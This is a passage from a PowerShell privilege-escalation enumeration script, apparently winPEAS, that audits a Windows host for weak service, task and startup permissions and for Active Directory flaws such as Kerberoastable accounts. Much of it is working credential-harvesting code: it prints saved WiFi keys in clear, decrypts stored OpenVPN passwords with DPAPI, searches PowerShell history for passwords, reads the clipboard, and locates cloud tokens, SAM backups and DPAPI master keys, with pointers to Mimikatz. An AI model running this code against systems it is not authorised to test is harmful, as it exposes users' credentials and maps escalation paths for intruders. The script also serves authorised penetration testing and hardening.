HKLM:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging\n}\n \n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| PowerShell Script Block Log Check\"\n \nif ( Test-Path HKCU:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging) {\n  Get-Item HKCU:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\n}\nif ( Test-Path HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging) {\n  Get-Item HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\n}\nif ( Test-Path HKCU:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging) {\n  Get-Item HKCU:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\n}\nif ( Test-Path HKLM:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging) {\n  Get-Item HKLM:\\Wow6432Node\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| WSUS check for http and UseWAServer = 1, if true, might be vulnerable to exploit\"\nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus\" -ForegroundColor Yellow\nif (Test-Path HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate) {\n  Get-Item HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\n}\nif ((Get-ItemProperty HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU -Name \"USEWUServer\" -ErrorAction SilentlyContinue).UseWUServer) {\n  (Get-ItemProperty HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU -Name \"USEWUServer\").UseWUServer\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Internet Settings HKCU / HKLM\"\n\n$property = (Get-Item \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -ErrorAction SilentlyContinue).Property\nforeach ($p in $property) {\n  Write-Host \"$p - $((Get-Item \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -ErrorAction SilentlyContinue).getValue($p))\"\n}\n \n$property = (Get-Item \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -ErrorAction SilentlyContinue).Property\nforeach ($p in $property) {\n  Write-Host \"$p - $((Get-Item \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -ErrorAction SilentlyContinue).getValue($p))\"\n}\n\n\n######################## PROCESS INFORMATION ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| RUNNING PROCESSES\"\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking user permissions on running processes\"\nGet-Process | Select-Object Path -Unique | ForEach-Object { Start-ACLCheck -Target $_.path }\n\n\n#TODO, vulnerable system process running that we have access to. \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| System processes\"\nStart-Process tasklist -ArgumentList '/v /fi \"username eq system\"' -Wait -NoNewWindow\n\n\n######################## SERVICES ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| SERVICE path vulnerable check\"\nWrite-Host \"Checking for vulnerable service .exe\"\n# Gathers all services running and stopped, based on .exe and shows the AccessControlList\n$UniqueServices = @{}\nGet-WmiObject Win32_Service | Where-Object { $_.PathName -like '*.exe*' } | ForEach-Object {\n  $Path = ($_.PathName -split '(?<=\\.exe\\b)')[0].Trim('\"')\n  $UniqueServices[$Path] = $_.Name\n}\nforeach ( $h in ($UniqueServices | Select-Object -Unique).GetEnumerator()) {\n  Start-ACLCheck -Target $h.Name -ServiceName $h.Value\n}\n\n\n######################## UNQUOTED SERVICE PATH CHECK ############\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for Unquoted Service Paths\"\n# All credit to Ivan-Sincek\n# https://github.com/ivan-sincek/unquoted-service-paths/blob/master/src/unquoted_service_paths_mini.ps1\n\nUnquotedServicePathCheck\n\n\n######################## REGISTRY SERVICE CONFIGURATION CHECK ###\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking Service Registry Permissions\"\nWrite-Host \"This will take some time.\"\n\nGet-ChildItem 'HKLM:\\System\\CurrentControlSet\\services\\' | ForEach-Object {\n  $target = $_.Name.Replace(\"HKEY_LOCAL_MACHINE\", \"hklm:\")\n  Start-aclcheck -Target $target\n}\n\n\n######################## SCHEDULED TASKS ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| SCHEDULED TASKS vulnerable check\"\n#Scheduled tasks audit \n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Testing access to c:\\windows\\system32\\tasks\"\nif (Get-ChildItem \"c:\\windows\\system32\\tasks\" -ErrorAction SilentlyContinue) {\n  Write-Host \"Access confirmed, may need futher investigation\"\n  Get-ChildItem \"c:\\windows\\system32\\tasks\"\n}\nelse {\n  Write-Host \"No admin access to scheduled tasks folder.\"\n  Get-ScheduledTask | Where-Object { $_.TaskPath -notlike \"\\Microsoft*\" } | ForEach-Object {\n    $Actions = $_.Actions.Execute\n    if ($Actions -ne $null) {\n      foreach ($a in $actions) {\n        if ($a -like \"%windir%*\") { $a = $a.replace(\"%windir%\", $Env:windir) }\n        elseif ($a -like \"%SystemRoot%*\") { $a = $a.replace(\"%SystemRoot%\", $Env:windir) }\n        elseif ($a -like \"%localappdata%*\") { $a = $a.replace(\"%localappdata%\", \"$env:UserProfile\\appdata\\local\") }\n        elseif ($a -like \"%appdata%*\") { $a = $a.replace(\"%localappdata%\", $env:Appdata) }\n        $a = $a.Replace('\"', '')\n        Start-ACLCheck -Target $a\n        Write-Host \"`n\"\n        Write-Host \"TaskName: $($_.TaskName)\"\n        Write-Host \"-------------\"\n        New-Object -TypeName PSObject -Property ([Ordered]@{\n          LastResult = $(($_ | Get-ScheduledTaskInfo).LastTaskResult)\n          NextRun    = $(($_ | Get-ScheduledTaskInfo).NextRunTime)\n          Status     = $_.State\n          Command    = $_.Actions.execute\n          Arguments  = $_.Actions.Arguments \n        }) | Write-Host\n      } \n    }\n  }\n}\n\n\n######################## STARTUP APPLIICATIONS #########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| STARTUP APPLICATIONS Vulnerable Check\"\n\"Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary\"\nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup\" -ForegroundColor Yellow\n\n@(\"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\",\n  \"C:\\Documents and Settings\\$env:Username\\Start Menu\\Programs\\Startup\", \n  \"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\", \n  \"$env:Appdata\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\") | ForEach-Object {\n  if (Test-Path $_) {\n    # CheckACL of each top folder then each sub folder/file\n    Start-ACLCheck $_\n    Get-ChildItem -Recurse -Force -Path $_ | ForEach-Object {\n      $SubItem = $_.FullName\n      if (Test-Path $SubItem) { \n        Start-ACLCheck -Target $SubItem\n      }\n    }\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| STARTUP APPS Registry Check\"\n\n@(\"registry::HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\",\n  \"registry::HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\",\n  \"registry::HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\",\n  \"registry::HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\") | ForEach-Object {\n  # CheckACL of each Property Value found\n  $ROPath = $_\n  (Get-Item $_) | ForEach-Object {\n    $ROProperty = $_.property\n    $ROProperty | ForEach-Object {\n      Start-ACLCheck ((Get-ItemProperty -Path $ROPath).$_ -split '(?<=\\.exe\\b)')[0].Trim('\"')\n    }\n  }\n}\n\n#schtasks /query /fo TABLE /nh | findstr /v /i \"disable deshab informa\"\n\n\n######################## INSTALLED APPLICATIONS ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| INSTALLED APPLICATIONS\"\nWrite-Host \"Generating list of installed applications\"\n\n#Get applications via Regsitry\nGet-InstalledApplications\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| LOOKING FOR BASH.EXE\"\nGet-ChildItem C:\\Windows\\WinSxS\\ -Filter \"amd64_microsoft-windows-lxss-bash*\" | ForEach-Object {\n  Write-Host $((Get-ChildItem $_.FullName -Recurse -Filter \"*bash.exe*\").FullName)\n}\n@(\"bash.exe\", \"wsl.exe\") | ForEach-Object { Write-Host $((Get-ChildItem C:\\Windows\\System32\\ -Filter $_).FullName) }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| LOOKING FOR SCCM CLIENT\"\n$result = Get-WmiObject -Namespace \"root\\ccm\\clientSDK\" -Class CCM_Application -Property * -ErrorAction SilentlyContinue | Select-Object Name, SoftwareVersion\nif ($result) { $result }\nelseif (Test-Path 'C:\\Windows\\CCM\\SCClient.exe') { Write-Host \"SCCM Client found at C:\\Windows\\CCM\\SCClient.exe\" -ForegroundColor Cyan }\nelse { Write-Host \"Not Installed.\" }\n\n\n######################## NETWORK INFORMATION ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| NETWORK INFORMATION\"\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| HOSTS FILE\"\n\nWrite-Host \"Get content of etc\\hosts file\"\nGet-Content \"c:\\windows\\system32\\drivers\\etc\\hosts\"\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| IP INFORMATION\"\n\n# Get all v4 and v6 addresses\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Ipconfig ALL\"\nStart-Process ipconfig.exe -ArgumentList \"/all\" -Wait -NoNewWindow\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| DNS Cache\"\nipconfig /displaydns | Select-String \"Record\" | ForEach-Object { Write-Host $('{0}' -f $_) }\n \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| LISTENING PORTS\"\n\n# running netstat as powershell is too slow to print to console\nStart-Process NETSTAT.EXE -ArgumentList \"-ano\" -Wait -NoNewWindow\n\n\n######################## ACTIVE DIRECTORY / IDENTITY MISCONFIG CHECKS ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| ACTIVE DIRECTORY / IDENTITY MISCONFIG CHECKS\"\n\n$domainContext = Get-DomainContext\nif (-not $domainContext) {\n  Write-Host \"Host appears to be in a workgroup or the AD context could not be resolved. Skipping domain-specific checks.\" -ForegroundColor DarkGray\n}\nelse {\n  $ntlmStatus = Get-NtlmPolicySummary\n  if ($ntlmStatus) {\n    $recvValue = if ($ntlmStatus.RestrictReceiving -ne $null) { [int]$ntlmStatus.RestrictReceiving } else { -1 }\n    $sendValue = if ($ntlmStatus.RestrictSending -ne $null) { [int]$ntlmStatus.RestrictSending } else { -1 }\n    $lmValue = if ($ntlmStatus.LmCompatibility -ne $null) { [int]$ntlmStatus.LmCompatibility } else { -1 }\n    $ntlmMsg = \"Receiving:{0} Sending:{1} LMCompat:{2}\" -f $recvValue, $sendValue, $lmValue\n    if ($recvValue -ge 1 -or $sendValue -ge 1 -or $lmValue -ge 5) {\n      Write-Host \"[!] NTLM is restricted/disabled ($ntlmMsg). Expect Kerberos-only auth paths (sync time before Kerberoasting).\" -ForegroundColor Yellow\n    }\n    else {\n      Write-Host \"[i] NTLM restrictions appear relaxed ($ntlmMsg).\"\n    }\n  }\n\n  $timeSkew = Get-TimeSkewInfo -DomainContext $domainContext\n  if ($timeSkew) {\n    $offsetAbs = [math]::Abs($timeSkew.OffsetSeconds)\n    $timeMsg = \"Offset vs {0}: {1:N3}s (sample: {2})\" -f $timeSkew.Source, $timeSkew.OffsetSeconds, $timeSkew.RawSample.Trim()\n    if ($offsetAbs -gt 5) {\n      Write-Host \"[!] Significant Kerberos time skew detected - $timeMsg\" -ForegroundColor Yellow\n    }\n    else {\n      Write-Host \"[i] Kerberos time offset looks OK - $timeMsg\"\n    }\n  }\n\n  $dnsFindings = @(Get-WeakDnsUpdateFindings -DomainContext $domainContext)\n  if ($dnsFindings.Count -gt 0) {\n    Write-Host \"[!] AD-integrated DNS zones allow low-priv principals to write records (dynamic DNS hijack / service MITM risk).\" -ForegroundColor Yellow\n    $dnsFindings | Format-Table Zone,Partition,Principal,Rights -AutoSize | Out-String | Write-Host\n  }\n  else {\n    Write-Host \"[i] No obvious insecure dynamic DNS ACLs found with current privileges.\"\n  }\n\n  $spnFindings = @(Get-PrivilegedSpnTargets -DomainContext $domainContext)\n  if ($spnFindings.Count -gt 0) {\n    Write-Host \"[!] High-value SPN accounts identified (prime Kerberoast targets):\" -ForegroundColor Yellow\n    $spnFindings | Format-Table User,Groups -AutoSize | Out-String | Write-Host\n  }\n  else {\n    Write-Host \"[i] No privileged SPN users detected via quick LDAP search.\"\n  }\n\n  $gmsaReport = @(Get-GmsaReadersReport -DomainContext $domainContext)\n  if ($gmsaReport.Count -gt 0) {\n    $weakGmsa = $gmsaReport | Where-Object { $_.WeakPrincipals -ne \"\" }\n    if ($weakGmsa) {\n      Write-Host \"[!] gMSA passwords readable by low-priv groups/principals: \" -ForegroundColor Yellow\n      $weakGmsa | Select-Object Account, WeakPrincipals | Format-Table -AutoSize | Out-String | Write-Host\n    }\n    else {\n      Write-Host \"[i] gMSA accounts discovered (review allowed readers below).\"\n      $gmsaReport | Select-Object Account, Allowed | Sort-Object Account | Select-Object -First 5 | Format-Table -Wrap | Out-String | Write-Host\n    }\n  }\n  else {\n    Write-Host \"[i] No gMSA objects found via LDAP.\"\n  }\n\n  $adcsInfo = Get-AdcsSchannelInfo\n  if ($adcsInfo.MappingValue -ne $null) {\n    $hex = ('0x{0:X}' -f [int]$adcsInfo.MappingValue)\n    if ($adcsInfo.UpnMapping) {\n      Write-Host (\"[!] Schannel CertificateMappingMethods={0} (UPN mapping allowed) - ESC10 certificate abuse possible if you can edit another user's UPN.\" -f $hex) -ForegroundColor Yellow\n    }\n    else {\n      Write-Host (\"[i] Schannel CertificateMappingMethods={0} (UPN mapping flag not set).\" -f $hex)\n    }\n    if ($adcsInfo.ServiceState) {\n      Write-Host (\"[i] AD CS service state: {0}\" -f $adcsInfo.ServiceState)\n    }\n  }\n  else {\n    Write-Host \"[i] Could not read Schannel certificate mapping configuration.\" -ForegroundColor DarkGray\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| ARP Table\"\n\n# Arp table info\nStart-Process arp -ArgumentList \"-A\" -Wait -NoNewWindow\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Routes\"\n\n# Route info\nStart-Process route -ArgumentList \"print\" -Wait -NoNewWindow\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Network Adapter info\"\n\n# Network Adapter info\nGet-NetAdapter | ForEach-Object { \n  Write-Host \"----------\"\n  Write-Host $_.Name\n  Write-Host $_.InterfaceDescription\n  Write-Host $_.ifIndex\n  Write-Host $_.Status\n  Write-Host $_.MacAddress\n  Write-Host \"----------\"\n} \n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for WiFi passwords\"\n# Select all wifi adapters, then pull the SSID along with the password\n\n((netsh.exe wlan show profiles) -match '\\s{2,}:\\s').replace(\"    All User Profile     : \", \"\") | ForEach-Object {\n  netsh wlan show profile name=\"$_\" key=clear \n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Enabled firewall rules - displaying command only - it can overwrite the display buffer\"\nWrite-Host -ForegroundColor Blue \"=========|| show all rules with: netsh advfirewall firewall show rule dir=in name=all\"\n# Route info\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| SMB SHARES\"\nWrite-Host \"Will enumerate SMB Shares and Access if any are available\" \n\nGet-SmbShare | Get-SmbShareAccess | ForEach-Object {\n  $SMBShareObject = $_\n# see line 70 for explanation of what this does\n  whoami.exe /groups /fo csv | select-object -skip 2 | ConvertFrom-Csv -Header 'group name' | Select-Object -ExpandProperty 'group name' | ForEach-Object {\n    if ($SMBShareObject.AccountName -like $_ -and ($SMBShareObject.AccessRight -like \"Full\" -or \"Change\") -and $SMBShareObject.AccessControlType -like \"Allow\" ) {\n      Write-Host -ForegroundColor red \"$($SMBShareObject.AccountName) has $($SMBShareObject.AccessRight) to $($SMBShareObject.Name)\"\n    }\n  }\n}\n\n\n######################## USER INFO ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| USER INFO\"\nWrite-Host \"== || Generating List of all Local Administrators, Users and Backup Operators (if any exist)\"\n\n# Code has been modified to accomodate for any language by filtering only on the output and not looking for a string of text\n# Foreach loop to get all local groups, then examine each group's members.\nGet-LocalGroup | ForEach-Object {\n  \"`n Group: $($_.Name) `n\"\n  if(Get-LocalGroupMember -name $_.Name){\n    (Get-LocalGroupMember -name $_.Name).Name\n  }\n  else{\n    \"     {GROUP EMPTY}\"\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| USER DIRECTORY ACCESS CHECK\"\nGet-ChildItem C:\\Users\\* | ForEach-Object {\n  if (Get-ChildItem $_.FullName -ErrorAction SilentlyContinue) {\n    Write-Host -ForegroundColor red \"Read Access to $($_.FullName)\"\n  }\n}\n\n#Whoami \nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| WHOAMI INFO\"\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Check Token access here: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#abusing-tokens\"\nWrite-Host -ForegroundColor Blue \"=========|| Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege\"\nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups\" -ForegroundColor Yellow\nStart-Process whoami.exe -ArgumentList \"/all\" -Wait -NoNewWindow\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Cloud Credentials Check\"\n$Users = (Get-ChildItem C:\\Users).Name\n$CCreds = @(\".aws\\credentials\",\n  \"AppData\\Roaming\\gcloud\\credentials.db\",\n  \"AppData\\Roaming\\gcloud\\legacy_credentials\",\n  \"AppData\\Roaming\\gcloud\\access_tokens.db\",\n  \".azure\\accessTokens.json\",\n  \".azure\\azureProfile.json\") \nforeach ($u in $users) {\n  $CCreds | ForEach-Object {\n    if (Test-Path \"c:\\Users\\$u\\$_\") { Write-Host \"$_ found!\" -ForegroundColor Red }\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| APPcmd Check\"\nif (Test-Path (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\")) {\n  Write-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe\" -ForegroundColor Yellow\n  Write-Host \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe exists!\" -ForegroundColor Red\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| OpenVPN Credentials Check\"\n\n$keys = Get-ChildItem \"HKCU:\\Software\\OpenVPN-GUI\\configs\" -ErrorAction SilentlyContinue\nif ($Keys) {\n  Add-Type -AssemblyName System.Security\n  $items = $keys | ForEach-Object { Get-ItemProperty $_.PsPath }\n  foreach ($item in $items) {\n    $encryptedbytes = $item.'auth-data'\n    $entropy = $item.'entropy'\n    $entropy = $entropy[0..(($entropy.Length) - 2)]\n\n    $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(\n      $encryptedBytes, \n      $entropy, \n      [System.Security.Cryptography.DataProtectionScope]::CurrentUser)\n \n    Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| PowerShell History (Password Search Only)\"\n\nWrite-Host \"=|| PowerShell Console History\"\nWrite-Host \"=|| To see all history, run this command: Get-Content (Get-PSReadlineOption).HistorySavePath\"\nWrite-Host $(Get-Content (Get-PSReadLineOption).HistorySavePath | Select-String pa)\n\nWrite-Host \"=|| AppData PSReadline Console History \"\nWrite-Host \"=|| To see all history, run this command: Get-Content $env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\"\nWrite-Host $(Get-Content \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\" | Select-String pa)\n\n\nWrite-Host \"=|| PowerShell default transcript history check \"\nif (Test-Path $env:SystemDrive\\transcripts\\) { \"Default transcripts found at $($env:SystemDrive)\\transcripts\\\" }\n\n\n# Enumerating Environment Variables\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| ENVIRONMENT VARIABLES \"\nWrite-Host \"Maybe you can take advantage of modifying/creating a binary in some of the following locations\"\nWrite-Host \"PATH variable entries permissions - place binary or DLL to execute instead of legitimate\"\nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking\" -ForegroundColor Yellow\n\nGet-ChildItem env: | Format-Table -Wrap\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Sticky Notes Check\"\nif (Test-Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes*\\LocalState\\plum.sqlite\") {\n  Write-Host \"Sticky Notes database found. Could have credentials in plain text: \"\n  Write-Host \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes*\\LocalState\\plum.sqlite\"\n}\n\n# Check for Cached Credentials\n# https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/getting-cached-credentials\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Cached Credentials Check\"\nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#windows-vault\" -ForegroundColor Yellow \ncmdkey.exe /list\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for DPAPI RPC Master Keys\"\nWrite-Host \"Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt\"\nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi\" -ForegroundColor Yellow\n\n$appdataRoaming = \"C:\\Users\\$env:USERNAME\\AppData\\Roaming\\Microsoft\\\"\n$appdataLocal = \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Microsoft\\\"\nif ( Test-Path \"$appdataRoaming\\Protect\\\") {\n  Write-Host \"found: $appdataRoaming\\Protect\\\"\n  Get-ChildItem -Path \"$appdataRoaming\\Protect\\\" -Force | ForEach-Object {\n    Write-Host $_.FullName\n  }\n}\nif ( Test-Path \"$appdataLocal\\Protect\\\") {\n  Write-Host \"found: $appdataLocal\\Protect\\\"\n  Get-ChildItem -Path \"$appdataLocal\\Protect\\\" -Force | ForEach-Object {\n    Write-Host $_.FullName\n  }\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Checking for DPAPI Cred Master Keys\"\nWrite-Host \"Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt\" \nWrite-Host \"You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module\" \nWrite-Host \"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi\" -ForegroundColor Yellow\n\nif ( Test-Path \"$appdataRoaming\\Credentials\\\") {\n  Get-ChildItem -Path \"$appdataRoaming\\Credentials\\\" -Force\n}\nif ( Test-Path \"$appdataLocal\\Credentials\\\") {\n  Get-ChildItem -Path \"$appdataLocal\\Credentials\\\" -Force\n}\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Current Logged on Users\"\ntry { quser }catch { Write-Host \"'quser' command not not present on system\" } \n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Remote Sessions\"\ntry { qwinsta } catch { Write-Host \"'qwinsta' command not present on system\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Kerberos tickets (does require admin to interact)\"\ntry { klist } catch { Write-Host \"No active sessions\" }\n\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Printing ClipBoard (if any)\"\nGet-ClipBoardText\n\n######################## File/Credentials check ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Unattended Files Check\"\n@(\"C:\\Windows\\sysprep\\sysprep.xml\",\n  \"C:\\Windows\\sysprep\\sysprep.inf\",\n  \"C:\\Windows\\sysprep.inf\",\n  \"C:\\Windows\\Panther\\Unattended.xml\",\n  \"C:\\Windows\\Panther\\Unattend.xml\",\n  \"C:\\Windows\\Panther\\Unattend\\Unattend.xml\",\n  \"C:\\Windows\\Panther\\Unattend\\Unattended.xml\",\n  \"C:\\Windows\\System32\\Sysprep\\unattend.xml\",\n  \"C:\\Windows\\System32\\Sysprep\\unattended.xml\",\n  \"C:\\unattend.txt\",\n  \"C:\\unattend.inf\") | ForEach-Object {\n  if (Test-Path $_) {\n    Write-Host \"$_ found.\"\n  }\n}\n\n\n######################## GROUP POLICY RELATED CHECKS ########################\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| SAM / SYSTEM Backup Checks\"\n\n@(\n  \"$Env:windir\\repair\\SAM\",\n  \"$Env:windir\\System32\\config\\RegBack\\SAM\",\n  \"$Env:windir\\System32\\config\\SAM\",\n  \"$Env:windir\\repair\\system\",\n  \"$Env:windir\\System32\\config\\SYSTEM\",\n  \"$Env:windir\\System32\\config\\RegBack\\system\") | ForEach-Object {\n  if (Test-Path $_ -ErrorAction SilentlyContinue) {\n    Write-Host \"$_ Found!\" -ForegroundColor red\n  }\n}\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host -ForegroundColor Blue \"=========|| Group Policy Password Check\"\n\n$GroupPolicy = @(\"Groups.xml\", \"Services.xml\", \"Scheduledtasks.xml\", \"DataSources.xml\", \"Printers.xml\", \"Drives.xml\")\nif (Test-Path \"$env:SystemDrive\\Microsoft\\Group Policy\\history\") {\n  Get-ChildItem -Recurse -Force \"$env:SystemDrive\\Microsoft\\Group Policy\\history\" -Include @GroupPolicy\n}\n\nif (Test-Path \"$env:SystemDrive\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Group Policy\\history\" ) {\n  Get-ChildItem -Recurse -Force \"$env:SystemDrive\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Group Policy\\history\"\n}\n\nWrite-Host \"\"\nif ($TimeStamp) { TimeElapsed }\nWrite-Host 